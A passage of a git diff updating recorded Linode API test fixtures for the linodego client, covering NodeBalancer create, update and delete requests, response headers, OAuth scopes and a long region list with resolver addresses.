X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228224}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,10 +313,11 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441135, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-87-37.ip.linodeusercontent.com", "ipv4": "172.232.87.37", "ipv6": "1234::5678", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": - 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' + body: '{"id": 694200, "label": "go-test-def", "region": "ap-west", "hostname": + "172-105-45-160.ip.linodeusercontent.com", "ipv4": "172.105.45.160", "ipv6": + "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, + "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -316,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "334" + - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -337,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -355,13 +376,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441135 + url: https://api.linode.com/v4beta/nodebalancers/694200 method: PUT response: - body: '{"id": 441135, "label": "go-test-def_r", "region": "ap-west", "hostname": - "172-232-87-37.ip.linodeusercontent.com", "ipv4": "172.232.87.37", "ipv6": "1234::5678", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": - 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' + body: '{"id": 694200, "label": "go-test-def_r", "region": "ap-west", "hostname": + "172-105-45-160.ip.linodeusercontent.com", "ipv4": "172.105.45.160", "ipv6": + "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, + "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -374,15 +396,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "336" + - "338" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -395,9 +421,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -413,7 +442,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441135 + url: https://api.linode.com/v4beta/nodebalancers/694200 method: DELETE response: body: '{}' @@ -429,15 +458,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:55 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -450,64 +483,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228224 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancers_List.yaml b/test/integration/fixtures/TestNodeBalancers_List.yaml index 204970fd9..f709f47c9 100644 --- a/test/integration/fixtures/TestNodeBalancers_List.yaml +++ b/test/integration/fixtures/TestNodeBalancers_List.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228225, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 